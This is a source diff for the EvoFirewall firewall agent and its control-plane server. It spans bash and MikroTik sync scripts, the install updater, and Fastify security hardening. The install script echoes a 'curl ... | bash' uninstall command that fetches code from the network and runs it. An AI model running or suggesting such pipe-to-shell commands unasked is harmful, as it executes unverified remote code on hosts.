||||
"${APPLIED:-0}" "${PACKETS_DROPPED:-0}" "${PACKETS_ACCEPTED:-0}" "${KERNEL_METHOD:-$BACKEND}" \
|
||||
>"$report_file"
|
||||
n_rules=0
|
||||
n_listen=0
|
||||
n_ip=0
|
||||
n_port=0
|
||||
fi
|
||||
http_code=$(curl -sS -o /tmp/evofw-apply-report.out -w '%{http_code}' -X POST "${EVOFW_CP_URL%/}/v1/agent/apply-report" \
|
||||
-H "Authorization: Bearer ${CLIENT_TOKEN}" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "$report" >/dev/null 2>&1 || true
|
||||
--data-binary @"$report_file" 2>/dev/null || echo "000")
|
||||
log "apply-report http=${http_code} host_fw=${n_rules}/${n_listen} ip_hits=${n_ip} port_hits=${n_port}"
|
||||
if [[ "$http_code" != "200" ]]; then
|
||||
log "apply-report failed body=$(head -c 200 /tmp/evofw-apply-report.out 2>/dev/null || true)"
|
||||
fi
|
||||
rm -f "$report_file" 2>/dev/null || true
|
||||
curl -fsS -X POST "${EVOFW_CP_URL%/}/v1/agent/heartbeat" \
|
||||
-H "Authorization: Bearer ${CLIENT_TOKEN}" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -324,12 +976,14 @@ if [[ -f "$HASH_FILE" && "$(tr -d '\r\n' <"$HASH_FILE")" == "$HASH" && -n "$HASH
|
||||
if [[ "$KERNEL_METHOD" == "nft" ]]; then
|
||||
APPLIED=$(nft list set inet evofw deny_v4 2>/dev/null | grep -cE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' || true)
|
||||
local_allow=$(nft list set inet evofw allow_v4 2>/dev/null | grep -cE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' || true)
|
||||
APPLIED=$((APPLIED + local_allow))
|
||||
APPLIED=$((${APPLIED:-0} + ${local_allow:-0}))
|
||||
elif [[ "$KERNEL_METHOD" == "ipset" ]]; then
|
||||
APPLIED=$(ipset list evofw_deny_v4 2>/dev/null | awk '/^[0-9]/{c++} END{print c+0}')
|
||||
local_allow=$(ipset list evofw_allow_v4 2>/dev/null | awk '/^[0-9]/{c++} END{print c+0}')
|
||||
APPLIED=$((APPLIED + local_allow))
|
||||
APPLIED=$((${APPLIED:-0} + ${local_allow:-0}))
|
||||
fi
|
||||
collect_host_firewall
|
||||
HOST_FW_CAPTURED=1
|
||||
send_report
|
||||
exit 0
|
||||
fi
|
||||
@@ -338,12 +992,18 @@ fi
|
||||
if command -v nft >/dev/null 2>&1 && nft list table inet evofw >/dev/null 2>&1; then
|
||||
collect_nft_stats
|
||||
collect_nft_ip_hits
|
||||
collect_nft_port_hits
|
||||
STATS_CAPTURED=1
|
||||
IP_HITS_CAPTURED=1
|
||||
PORT_HITS_CAPTURED=1
|
||||
elif command -v ipset >/dev/null 2>&1 && ipset list evofw_deny_v4 >/dev/null 2>&1; then
|
||||
collect_ipset_ip_hits
|
||||
IP_HITS_CAPTURED=1
|
||||
printf '%s' '[]' >"$PORT_HITS_FILE"
|
||||
PORT_HITS_CAPTURED=1
|
||||
fi
|
||||
collect_host_firewall
|
||||
HOST_FW_CAPTURED=1
|
||||
|
||||
case "$BACKEND" in
|
||||
nft|auto)
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
#!/usr/bin/env bash
|
||||
# EvoFirewall Linux install one-liner
|
||||
# Re-run on an already-installed host updates scripts/timer and keeps credentials
|
||||
# Re-run on an already-installed host updates scripts/timer **and forces nft
|
||||
# rule re-apply** (clears last_hash), keeping credentials
|
||||
# (unless EVOFW_INSTALL_FORCE=1 → full re-enroll).
|
||||
set -euo pipefail
|
||||
|
||||
@@ -250,8 +251,10 @@ if [[ -f "$CONF_FILE" && "${EVOFW_INSTALL_FORCE:-}" != "1" ]]; then
|
||||
download_sync_script "$SYNC_TMP" || exit 1
|
||||
write_conf "$CLIENT_ID" "$CLIENT_TOKEN" "$CLIENT_NAME" "$BACKEND"
|
||||
install_sync_and_uninstall "$SYNC_TMP"
|
||||
# Force one apply after script refresh (nft set upgrade, counters, port hits, etc.).
|
||||
rm -f /var/lib/evofw/last_hash
|
||||
enable_scheduler_and_run
|
||||
echo "Updated. Client id=${CLIENT_ID}. Sync script + timer refreshed."
|
||||
echo "Updated. Client id=${CLIENT_ID}. Sync script + timer refreshed; nft rules re-applied."
|
||||
echo "Force sync: $SYNC_SCRIPT"
|
||||
echo "Uninstall: $UNINSTALL_SCRIPT (or: curl -fsSL ${CP_URL}/v1/agent/uninstall.sh | bash)"
|
||||
exit 0
|
||||
|
||||
@@ -49,7 +49,7 @@
|
||||
:set token ("evofw_" . [:tostr [/system clock get time]] . [:tostr [/system resource get cpu-load]] . [:tostr [/system resource get free-memory]] . [:tostr [:rndnum from=100000 to=999999]])
|
||||
}
|
||||
|
||||
:local body ("{\"name\":\"" . $EvofwName . "\",\"hostname\":\"" . [/system identity get name] . "\",\"platform\":\"mikrotik\",\"token\":\"" . $token . "\",\"client_version\":\"rsc/4\"")
|
||||
:local body ("{\"name\":\"" . $EvofwName . "\",\"hostname\":\"" . [/system identity get name] . "\",\"platform\":\"mikrotik\",\"token\":\"" . $token . "\",\"client_version\":\"rsc/6\"")
|
||||
:if ([:typeof $EvofwInstallLinkId] != "nothing" && [:len $EvofwInstallLinkId] > 0) do={
|
||||
:set body ($body . ",\"install_link_id\":\"" . $EvofwInstallLinkId . "\"")
|
||||
}
|
||||
@@ -67,12 +67,38 @@
|
||||
|
||||
:set EvofwLastHash ""
|
||||
|
||||
# Filter rules (idempotent by comment)
|
||||
# Filter rules (idempotent by comment) — always at the top of each chain.
|
||||
# Deny path: hit (add-src → EVOFW_HITS) then drop. Allow/default unchanged.
|
||||
:do { /ip firewall filter remove [find comment~"^evofw-"] } on-error={}
|
||||
/ip firewall filter add chain=input action=drop src-address-list=EVOFW_DENY comment=evofw-deny-drop-input disabled=no
|
||||
/ip firewall filter add chain=forward action=drop src-address-list=EVOFW_DENY comment=evofw-deny-drop-forward disabled=no
|
||||
/ip firewall filter add chain=forward action=accept src-address-list=EVOFW_ALLOW comment=evofw-allow-accept-forward disabled=no
|
||||
/ip firewall filter add chain=forward action=drop comment=evofw-default-drop-forward disabled=yes
|
||||
|
||||
:local inputFirst [/ip firewall filter find where chain=input]
|
||||
:local inputPb ""
|
||||
:if ([:len $inputFirst] > 0) do={ :set inputPb ($inputFirst->0) }
|
||||
|
||||
:local forwardFirst [/ip firewall filter find where chain=forward]
|
||||
:local forwardPb ""
|
||||
:if ([:len $forwardFirst] > 0) do={ :set forwardPb ($forwardFirst->0) }
|
||||
|
||||
# place-before same anchor repeatedly → earlier adds stay above later ones.
|
||||
:if ([:len $inputPb] > 0) do={
|
||||
/ip firewall filter add chain=input action=add-src-to-address-list address-list=EVOFW_HITS address-list-timeout=1h src-address-list=EVOFW_DENY comment=evofw-deny-hit-input disabled=no place-before=$inputPb
|
||||
/ip firewall filter add chain=input action=drop src-address-list=EVOFW_DENY comment=evofw-deny-drop-input disabled=no place-before=$inputPb
|
||||
} else={
|
||||
/ip firewall filter add chain=input action=add-src-to-address-list address-list=EVOFW_HITS address-list-timeout=1h src-address-list=EVOFW_DENY comment=evofw-deny-hit-input disabled=no
|
||||
/ip firewall filter add chain=input action=drop src-address-list=EVOFW_DENY comment=evofw-deny-drop-input disabled=no
|
||||
}
|
||||
|
||||
:if ([:len $forwardPb] > 0) do={
|
||||
/ip firewall filter add chain=forward action=add-src-to-address-list address-list=EVOFW_HITS address-list-timeout=1h src-address-list=EVOFW_DENY comment=evofw-deny-hit-forward disabled=no place-before=$forwardPb
|
||||
/ip firewall filter add chain=forward action=drop src-address-list=EVOFW_DENY comment=evofw-deny-drop-forward disabled=no place-before=$forwardPb
|
||||
/ip firewall filter add chain=forward action=accept src-address-list=EVOFW_ALLOW comment=evofw-allow-accept-forward disabled=no place-before=$forwardPb
|
||||
/ip firewall filter add chain=forward action=drop comment=evofw-default-drop-forward disabled=yes place-before=$forwardPb
|
||||
} else={
|
||||
/ip firewall filter add chain=forward action=add-src-to-address-list address-list=EVOFW_HITS address-list-timeout=1h src-address-list=EVOFW_DENY comment=evofw-deny-hit-forward disabled=no
|
||||
/ip firewall filter add chain=forward action=drop src-address-list=EVOFW_DENY comment=evofw-deny-drop-forward disabled=no
|
||||
/ip firewall filter add chain=forward action=accept src-address-list=EVOFW_ALLOW comment=evofw-allow-accept-forward disabled=no
|
||||
/ip firewall filter add chain=forward action=drop comment=evofw-default-drop-forward disabled=yes
|
||||
}
|
||||
|
||||
# Build sync body as a template script, then prepend baked credentials → one script
|
||||
:do { /system script remove [find name="evofw-sync-body"] } on-error={}
|
||||
@@ -114,7 +140,9 @@
|
||||
:do { /ip firewall address-list add list=EVOFW_ALLOW address=$a comment=evofw } on-error={}
|
||||
}
|
||||
:local da ($p->"default_action")
|
||||
:do { /ip firewall filter set [find comment=evofw-deny-hit-input] disabled=no } on-error={}
|
||||
:do { /ip firewall filter set [find comment=evofw-deny-drop-input] disabled=no } on-error={}
|
||||
:do { /ip firewall filter set [find comment=evofw-deny-hit-forward] disabled=no } on-error={}
|
||||
:do { /ip firewall filter set [find comment=evofw-deny-drop-forward] disabled=no } on-error={}
|
||||
:do { /ip firewall filter set [find comment=evofw-allow-accept-forward] disabled=no } on-error={}
|
||||
:if ($da = "drop") do={
|
||||
@@ -134,11 +162,11 @@
|
||||
:local denyCnt [:len [/ip firewall address-list find list=EVOFW_DENY]]
|
||||
:local allowCnt [:len [/ip firewall address-list find list=EVOFW_ALLOW]]
|
||||
:local cnt ($denyCnt + $allowCnt)
|
||||
# Cumulative counters from permanent filter rules (survive address-list rebuild).
|
||||
# Cumulative counters from permanent drop/accept rules (not hit passthrough).
|
||||
:local dropped 0
|
||||
:local accepted 0
|
||||
:do {
|
||||
:foreach i in=[/ip firewall filter find where comment~"^evofw-deny-"] do={
|
||||
:foreach i in=[/ip firewall filter find where comment~"^evofw-deny-drop-"] do={
|
||||
:set dropped ($dropped + [/ip firewall filter get $i packets])
|
||||
}
|
||||
} on-error={}
|
||||
@@ -152,14 +180,30 @@
|
||||
:set accepted ($accepted + [/ip firewall filter get $i packets])
|
||||
}
|
||||
} on-error={}
|
||||
:local report ("{\"status\":\"ok\",\"prefix_count\":" . $cnt . ",\"packets_dropped\":" . $dropped . ",\"packets_accepted\":" . $accepted . ",\"kernel_method\":\"address-list\",\"source\":\"mikrotik\"}")
|
||||
# EVOFW_HITS: real src /32 that matched deny (timeout 1h). Do not wipe on policy rebuild.
|
||||
:local hits "["
|
||||
:local hitN 0
|
||||
:do {
|
||||
:foreach i in=[/ip firewall address-list find list=EVOFW_HITS] do={
|
||||
:if ($hitN < 200) do={
|
||||
:local a [/ip firewall address-list get $i address]
|
||||
:if ([:len $a] > 0) do={
|
||||
:if ($hitN > 0) do={ :set hits ($hits . ",") }
|
||||
:set hits ($hits . "{\"ip\":\"" . $a . "\",\"packets\":1}")
|
||||
:set hitN ($hitN + 1)
|
||||
}
|
||||
}
|
||||
}
|
||||
} on-error={}
|
||||
:set hits ($hits . "]")
|
||||
:local report ("{\"status\":\"ok\",\"prefix_count\":" . $cnt . ",\"packets_dropped\":" . $dropped . ",\"packets_accepted\":" . $accepted . ",\"kernel_method\":\"address-list\",\"source\":\"mikrotik\",\"ip_hits\":" . $hits . "}")
|
||||
:do {
|
||||
/tool fetch url=($EvofwCpUrl . "/v1/agent/apply-report") http-method=post http-header-field=("Authorization: Bearer " . $EvofwToken . ",Content-Type: application/json") http-data=$report keep-result=no
|
||||
} on-error={}
|
||||
:do {
|
||||
/tool fetch url=($EvofwCpUrl . "/v1/agent/heartbeat") http-method=post http-header-field=("Authorization: Bearer " . $EvofwToken . ",Content-Type: application/json") http-data="{\"source\":\"mikrotik\"}" keep-result=no
|
||||
} on-error={}
|
||||
:log info ("evofw: sync done deny=" . $denyCnt . " allow=" . $allowCnt . " dropPkts=" . $dropped . " acceptPkts=" . $accepted)
|
||||
:log info ("evofw: sync done deny=" . $denyCnt . " allow=" . $allowCnt . " hits=" . $hitN . " dropPkts=" . $dropped . " acceptPkts=" . $accepted)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+54
-2
@@ -33,20 +33,44 @@ export async function buildApp(opts: BuildAppOptions = {}) {
|
||||
|
||||
const app = Fastify({
|
||||
logger: { level: config.logLevel },
|
||||
genReqId: () => crypto.randomUUID(),
|
||||
}).withTypeProvider<ZodTypeProvider>()
|
||||
|
||||
// Correlation id in every response and in the error envelope.
|
||||
app.addHook('onSend', async (req, reply) => {
|
||||
reply.header('x-request-id', req.id)
|
||||
})
|
||||
|
||||
app.setValidatorCompiler(validatorCompiler)
|
||||
app.setSerializerCompiler(serializerCompiler)
|
||||
|
||||
await app.register(import('@fastify/sensible'))
|
||||
// CSP only guards the served SPA; in dev the Vite server proxies API
|
||||
// requests same-origin and injects its own HMR scripts.
|
||||
await app.register(import('@fastify/helmet'), {
|
||||
contentSecurityPolicy: false,
|
||||
contentSecurityPolicy:
|
||||
config.staticDir !== null
|
||||
? {
|
||||
directives: {
|
||||
defaultSrc: ["'self'"],
|
||||
scriptSrc: ["'self'"],
|
||||
styleSrc: ["'self'", "'unsafe-inline'"],
|
||||
imgSrc: ["'self'", 'data:'],
|
||||
fontSrc: ["'self'", 'data:'],
|
||||
// app-switcher talks to the auth portal directly from the browser
|
||||
connectSrc: ["'self'", config.authPortalUrl],
|
||||
objectSrc: ["'none'"],
|
||||
baseUri: ["'self'"],
|
||||
frameAncestors: ["'none'"],
|
||||
},
|
||||
}
|
||||
: false,
|
||||
})
|
||||
await app.register(import('@fastify/rate-limit'), {
|
||||
max: 300,
|
||||
timeWindow: '1 minute',
|
||||
})
|
||||
await app.register(corsPlugin)
|
||||
await app.register(corsPlugin, { config })
|
||||
await app.register(errorHandlerPlugin)
|
||||
await app.register(dbPlugin, { config, memory: opts.memory })
|
||||
await app.register(authPlugin, { config })
|
||||
@@ -122,6 +146,34 @@ export async function buildApp(opts: BuildAppOptions = {}) {
|
||||
preventOverrun: true,
|
||||
}),
|
||||
)
|
||||
|
||||
// Raw stats samples grow ~1 row per agent per sync interval; drop old
|
||||
// ones daily. Lifetime totals live on agents; aggregates are kept.
|
||||
const runRetention = async () => {
|
||||
const cutoff = new Date(
|
||||
Date.now() - config.statsRetentionDays * 86_400_000,
|
||||
).toISOString()
|
||||
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
|
||||
if (deleted > 0) {
|
||||
app.log.info(
|
||||
{ deleted, cutoff },
|
||||
`stats retention: raw samples older than ${config.statsRetentionDays}d removed`,
|
||||
)
|
||||
}
|
||||
}
|
||||
app.scheduler.addCronJob(
|
||||
new CronJob(
|
||||
{ cronExpression: '17 3 * * *' },
|
||||
new AsyncTask('stats-retention', runRetention, (err) => {
|
||||
app.log.warn({ err }, 'stats retention failed')
|
||||
}),
|
||||
{ preventOverrun: true },
|
||||
),
|
||||
)
|
||||
// First cleanup right at startup, not only after the next 03:17.
|
||||
runRetention().catch((err) =>
|
||||
app.log.warn({ err }, 'stats retention failed'),
|
||||
)
|
||||
}
|
||||
|
||||
return app
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
import { describe, it, expect, afterEach } from 'vitest'
|
||||
import { loadConfig } from './config.js'
|
||||
|
||||
const SAVED: Record<string, string | undefined> = {}
|
||||
const KEYS = [
|
||||
'NODE_ENV',
|
||||
'AUTH_REQUIRED',
|
||||
'AUTH_JWT_SECRET',
|
||||
'JWT_SECRET',
|
||||
'EVOFW_ENROLL_SEED',
|
||||
'EVOFW_ALLOW_UNSAFE',
|
||||
]
|
||||
|
||||
afterEach(() => {
|
||||
for (const k of KEYS) {
|
||||
if (SAVED[k] === undefined) delete process.env[k]
|
||||
else process.env[k] = SAVED[k]
|
||||
}
|
||||
})
|
||||
|
||||
function setEnv(vars: Record<string, string | undefined>) {
|
||||
for (const [k, v] of Object.entries(vars)) {
|
||||
if (!(k in SAVED)) SAVED[k] = process.env[k]
|
||||
if (v === undefined) delete process.env[k]
|
||||
else process.env[k] = v
|
||||
}
|
||||
}
|
||||
|
||||
describe('loadConfig production fail-safe', () => {
|
||||
it('refuses insecure defaults in production', () => {
|
||||
setEnv({
|
||||
NODE_ENV: 'production',
|
||||
AUTH_REQUIRED: undefined,
|
||||
AUTH_JWT_SECRET: undefined,
|
||||
JWT_SECRET: undefined,
|
||||
EVOFW_ENROLL_SEED: undefined,
|
||||
EVOFW_ALLOW_UNSAFE: undefined,
|
||||
})
|
||||
expect(() => loadConfig()).toThrow(/AUTH_REQUIRED/)
|
||||
|
||||
setEnv({ AUTH_REQUIRED: 'true' })
|
||||
expect(() => loadConfig()).toThrow(/AUTH_JWT_SECRET/)
|
||||
|
||||
setEnv({ AUTH_JWT_SECRET: 'short' })
|
||||
expect(() => loadConfig()).toThrow(/real secret/)
|
||||
|
||||
setEnv({ AUTH_JWT_SECRET: 'a-real-production-secret' })
|
||||
expect(() => loadConfig()).toThrow(/EVOFW_ENROLL_SEED/)
|
||||
})
|
||||
|
||||
it('starts with explicit opt-out or full production config', () => {
|
||||
setEnv({ EVOFW_ALLOW_UNSAFE: 'true' })
|
||||
expect(() => loadConfig()).not.toThrow()
|
||||
|
||||
setEnv({
|
||||
EVOFW_ALLOW_UNSAFE: undefined,
|
||||
EVOFW_ENROLL_SEED: 'real-seed',
|
||||
})
|
||||
expect(() => loadConfig()).not.toThrow()
|
||||
})
|
||||
|
||||
it('dev keeps permissive defaults', () => {
|
||||
setEnv({
|
||||
NODE_ENV: undefined,
|
||||
AUTH_REQUIRED: undefined,
|
||||
AUTH_JWT_SECRET: undefined,
|
||||
EVOFW_ENROLL_SEED: undefined,
|
||||
EVOFW_ALLOW_UNSAFE: undefined,
|
||||
})
|
||||
const config = loadConfig()
|
||||
expect(config.authRequired).toBe(false)
|
||||
expect(config.corsOrigins).toEqual([])
|
||||
})
|
||||
})
|
||||
+44
-4
@@ -13,6 +13,9 @@ export interface AppConfig {
|
||||
authAuditIngestSecret: string | null
|
||||
publicBaseUrl: string
|
||||
enrollSeed: string
|
||||
corsOrigins: string[]
|
||||
secretKey: string | null
|
||||
statsRetentionDays: number
|
||||
}
|
||||
|
||||
function boolEnv(v: string | undefined, fallback: boolean): boolean {
|
||||
@@ -20,16 +23,19 @@ function boolEnv(v: string | undefined, fallback: boolean): boolean {
|
||||
return v === '1' || v.toLowerCase() === 'true'
|
||||
}
|
||||
|
||||
const DEV_JWT_SECRET = 'dev-secret-change-me'
|
||||
const DEV_ENROLL_SEED = 'dev-enroll-seed-change-me'
|
||||
|
||||
export function loadConfig(): AppConfig {
|
||||
const isProd = process.env.NODE_ENV === 'production'
|
||||
const jwtSecret =
|
||||
process.env.AUTH_JWT_SECRET ??
|
||||
process.env.JWT_SECRET ??
|
||||
(isProd ? '' : 'dev-secret-change-me')
|
||||
(isProd ? '' : DEV_JWT_SECRET)
|
||||
|
||||
return {
|
||||
const config: AppConfig = {
|
||||
databaseUrl: process.env.DATABASE_URL ?? 'sqlite:data/app.db',
|
||||
jwtSecret: jwtSecret || 'dev-secret-change-me',
|
||||
jwtSecret: jwtSecret || DEV_JWT_SECRET,
|
||||
jwtTtlHours: Number(process.env.JWT_TTL_HOURS ?? '24') || 24,
|
||||
serverPort: Number(process.env.SERVER_PORT ?? '8080') || 8080,
|
||||
staticDir: process.env.STATIC_DIR
|
||||
@@ -54,6 +60,40 @@ export function loadConfig(): AppConfig {
|
||||
enrollSeed:
|
||||
process.env.EVOFW_ENROLL_SEED ??
|
||||
process.env.BUNDLE_SEED_HEX ??
|
||||
'dev-enroll-seed-change-me',
|
||||
DEV_ENROLL_SEED,
|
||||
corsOrigins: (process.env.CORS_ORIGINS ?? '')
|
||||
.split(',')
|
||||
.map((s) => s.trim().replace(/\/$/, ''))
|
||||
.filter(Boolean),
|
||||
secretKey: process.env.EVOFW_SECRET_KEY?.trim() || null,
|
||||
statsRetentionDays: Math.max(
|
||||
1,
|
||||
Math.min(3650, Number(process.env.STATS_RETENTION_DAYS ?? '30') || 30),
|
||||
),
|
||||
}
|
||||
|
||||
// Fail-safe: a production process must not start wide open or with
|
||||
// well-known dev credentials. EVOFW_ALLOW_UNSAFE=true is the explicit
|
||||
// opt-out for isolated/lab deployments.
|
||||
if (isProd && !boolEnv(process.env.EVOFW_ALLOW_UNSAFE, false)) {
|
||||
const problems: string[] = []
|
||||
if (!config.authRequired) {
|
||||
problems.push('AUTH_REQUIRED must be true (or set EVOFW_ALLOW_UNSAFE=true)')
|
||||
}
|
||||
if (!process.env.AUTH_JWT_SECRET && !process.env.JWT_SECRET) {
|
||||
problems.push('AUTH_JWT_SECRET is not set')
|
||||
} else if (config.jwtSecret === DEV_JWT_SECRET || config.jwtSecret.length < 8) {
|
||||
problems.push('AUTH_JWT_SECRET must be a real secret (>= 8 chars)')
|
||||
}
|
||||
if (config.enrollSeed === DEV_ENROLL_SEED) {
|
||||
problems.push('EVOFW_ENROLL_SEED is not set')
|
||||
}
|
||||
if (problems.length > 0) {
|
||||
throw new Error(
|
||||
`Refusing to start in production with insecure config:\n - ${problems.join('\n - ')}`,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
return config
|
||||
}
|
||||
Whitespace-only changes.
@@ -1,8 +1,21 @@
|
||||
import type { FastifyInstance } from 'fastify'
|
||||
import fp from 'fastify-plugin'
|
||||
import type { AppConfig } from '../config.js'
|
||||
|
||||
async function corsPlugin(app: FastifyInstance) {
|
||||
await app.register(import('@fastify/cors'), { origin: true })
|
||||
async function corsPlugin(app: FastifyInstance, opts: { config: AppConfig }) {
|
||||
const allowed = opts.config.corsOrigins
|
||||
await app.register(import('@fastify/cors'), {
|
||||
// The SPA is served same-origin (or via the Vite dev proxy), so by
|
||||
// default only non-CORS (same-origin/server-side) requests pass.
|
||||
// CORS_ORIGINS opens specific origins explicitly.
|
||||
origin: (origin, cb) => {
|
||||
if (!origin || allowed.includes(origin.replace(/\/$/, ''))) {
|
||||
cb(null, true)
|
||||
} else {
|
||||
cb(null, false)
|
||||
}
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
export default fp(corsPlugin, { name: 'cors' })
|
||||
@@ -14,17 +14,25 @@ export class AppError extends Error {
|
||||
}
|
||||
|
||||
async function errorHandlerPlugin(app: FastifyInstance) {
|
||||
app.setErrorHandler((err, _req, reply) => {
|
||||
app.setErrorHandler((err, req, reply) => {
|
||||
if (err instanceof AppError) {
|
||||
return reply.code(err.statusCode).send({
|
||||
error: { code: err.code, message: err.message },
|
||||
error: {
|
||||
code: err.code,
|
||||
message: err.message,
|
||||
request_id: String(req.id),
|
||||
},
|
||||
})
|
||||
}
|
||||
if (err instanceof ZodError) {
|
||||
const message =
|
||||
err.issues.map((i) => i.message).join('; ') || 'Validation error'
|
||||
return reply.code(400).send({
|
||||
error: { code: 'VALIDATION_ERROR', message },
|
||||
error: {
|
||||
code: 'VALIDATION_ERROR',
|
||||
message,
|
||||
request_id: String(req.id),
|
||||
},
|
||||
})
|
||||
}
|
||||
const e = err as { statusCode?: number; message?: string }
|
||||
@@ -38,6 +46,7 @@ async function errorHandlerPlugin(app: FastifyInstance) {
|
||||
error: {
|
||||
code: status >= 500 ? 'INTERNAL_ERROR' : 'VALIDATION_ERROR',
|
||||
message,
|
||||
request_id: String(req.id),
|
||||
},
|
||||
})
|
||||
})
|
||||
|
||||
Whitespace-only changes.
@@ -1,8 +1,9 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { createHash, timingSafeEqual } from 'node:crypto'
|
||||
import { join } from 'node:path'
|
||||
import type { FastifyPluginAsync } from 'fastify'
|
||||
import { repos } from '@evofw/db'
|
||||
import { enrollBodySchema, applyReportBodySchema } from '@evofw/shared'
|
||||
import { enrollBodySchema, applyReportBodySchema, hostFwRuleSchema, hostListenerSchema } from '@evofw/shared'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { hashToken } from '../plugins/auth.js'
|
||||
import { evaluateAgentPolicy } from '../services/policy/evaluate.js'
|
||||
@@ -10,9 +11,41 @@ import { renderMikrotikPolicyRsc } from '../services/policy/mikrotik-rsc.js'
|
||||
import { AppError } from '../plugins/error-handler.js'
|
||||
import { resolveAgentScriptsDir } from '../services/agent-scripts-path.js'
|
||||
import { resolveAndRenderInstall } from '../services/install-links.js'
|
||||
import {
|
||||
getSyncScriptMeta,
|
||||
ifNoneMatchHits,
|
||||
} from '../services/sync-script.js'
|
||||
|
||||
const scriptsDir = resolveAgentScriptsDir()
|
||||
|
||||
/** Constant-time seed check; hash first so lengths always match. */
|
||||
function seedMatches(presented: string | undefined, expected: string): boolean {
|
||||
if (!presented) return false
|
||||
const a = createHash('sha256').update(presented).digest()
|
||||
const b = createHash('sha256').update(expected).digest()
|
||||
return timingSafeEqual(a, b)
|
||||
}
|
||||
|
||||
function sanitizeHostFirewall(raw: {
|
||||
rules?: unknown[]
|
||||
listeners?: unknown[]
|
||||
}): { rules: unknown[]; listeners: unknown[] } {
|
||||
const rules: unknown[] = []
|
||||
for (const item of raw.rules ?? []) {
|
||||
const parsed = hostFwRuleSchema.safeParse(item)
|
||||
if (parsed.success) rules.push(parsed.data)
|
||||
}
|
||||
const listeners: unknown[] = []
|
||||
for (const item of raw.listeners ?? []) {
|
||||
const parsed = hostListenerSchema.safeParse(item)
|
||||
if (parsed.success) listeners.push(parsed.data)
|
||||
}
|
||||
return {
|
||||
rules: rules.slice(0, 500),
|
||||
listeners: listeners.slice(0, 200),
|
||||
}
|
||||
}
|
||||
|
||||
export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
opts,
|
||||
@@ -39,9 +72,15 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
},
|
||||
)
|
||||
|
||||
app.get('/v1/agent/sync-script', async (_req, reply) => {
|
||||
const body = readFileSync(join(scriptsDir, 'evofw-firewall.sh'), 'utf-8')
|
||||
return reply.type('text/x-shellscript').send(body)
|
||||
app.get('/v1/agent/sync-script', async (req, reply) => {
|
||||
const meta = getSyncScriptMeta()
|
||||
reply.header('ETag', meta.etag)
|
||||
reply.header('X-Evofw-Script-Sha256', meta.sha256)
|
||||
const inm = req.headers['if-none-match']
|
||||
if (ifNoneMatchHits(inm, meta.etag)) {
|
||||
return reply.code(304).send()
|
||||
}
|
||||
return reply.type('text/x-shellscript').send(meta.body)
|
||||
})
|
||||
|
||||
app.get('/v1/agent/uninstall.sh', async (_req, reply) => {
|
||||
@@ -61,7 +100,7 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
const seed = req.headers['x-evofw-seed']
|
||||
const expected =
|
||||
repos.getSetting(app.db, 'enroll_seed') || config.enrollSeed
|
||||
if (!seed || String(seed) !== expected) {
|
||||
if (!seedMatches(String(seed ?? ''), expected)) {
|
||||
throw new AppError('UNAUTHORIZED', 'Invalid enroll seed', 401)
|
||||
}
|
||||
const body = enrollBodySchema.parse(req.body)
|
||||
@@ -146,14 +185,24 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
lastSeenIp: req.ip,
|
||||
})
|
||||
const policy = evaluateAgentPolicy(app.db, agentId)
|
||||
const scriptSha = getSyncScriptMeta().sha256
|
||||
return {
|
||||
generation: policy.generation,
|
||||
hash: policy.hash,
|
||||
apply_version: policy.applyVersion,
|
||||
default_action: policy.defaultAction,
|
||||
policy_mode: policy.policyMode,
|
||||
script_sha256: scriptSha,
|
||||
deny_cidrs: policy.denyCidrs,
|
||||
allow_cidrs: policy.allowCidrs,
|
||||
port_rules: policy.portRules.map((r) => ({
|
||||
id: r.id,
|
||||
action: r.action,
|
||||
protocol: r.protocol,
|
||||
port_start: r.portStart,
|
||||
port_end: r.portEnd,
|
||||
src_cidrs: r.srcCidrs,
|
||||
})),
|
||||
sync_interval_sec: policy.syncIntervalSec,
|
||||
// compat: prefixes = deny when default accept, else allow (legacy single-bag clients)
|
||||
prefixes:
|
||||
@@ -199,6 +248,13 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
const totalDropped = (prev?.totalPacketsDropped ?? 0) + deltaDropped
|
||||
const totalAccepted = (prev?.totalPacketsAccepted ?? 0) + deltaAccepted
|
||||
|
||||
// Chain/set counters were flushed (policy apply). Zero per-IP baselines so
|
||||
// the next epoch of element counters accumulates (zeros are omitted from ip_hits).
|
||||
// Port hits use a separate dynamic set that is not flushed on apply — leave baselines.
|
||||
if (reportedDropped < prevDropped) {
|
||||
repos.resetIpBlockStatsBaselines(app.db, agentId)
|
||||
}
|
||||
|
||||
repos.updateAgent(app.db, agentId, {
|
||||
lastApplyAt: now,
|
||||
lastApplyStatus: body.status,
|
||||
@@ -222,7 +278,41 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
recordedAt: now,
|
||||
})
|
||||
if (body.ip_hits?.length) {
|
||||
repos.upsertIpBlockStats(app.db, agentId, body.ip_hits, now)
|
||||
const presence = body.source === 'mikrotik'
|
||||
repos.upsertIpBlockStats(app.db, agentId, body.ip_hits, now, {
|
||||
mode: presence ? 'presence' : 'absolute',
|
||||
})
|
||||
}
|
||||
if (body.port_hits?.length && body.source !== 'mikrotik') {
|
||||
repos.upsertPortBlockStats(app.db, agentId, body.port_hits, now)
|
||||
}
|
||||
if (body.host_firewall && body.source !== 'mikrotik') {
|
||||
const sanitized = sanitizeHostFirewall(body.host_firewall)
|
||||
// Empty snapshot must not wipe a previous good collect (agent bash bugs / race).
|
||||
if (
|
||||
sanitized.rules.length === 0 &&
|
||||
sanitized.listeners.length === 0
|
||||
) {
|
||||
const existing = repos.getHostFirewallSnapshot(app.db, agentId)
|
||||
if (existing) {
|
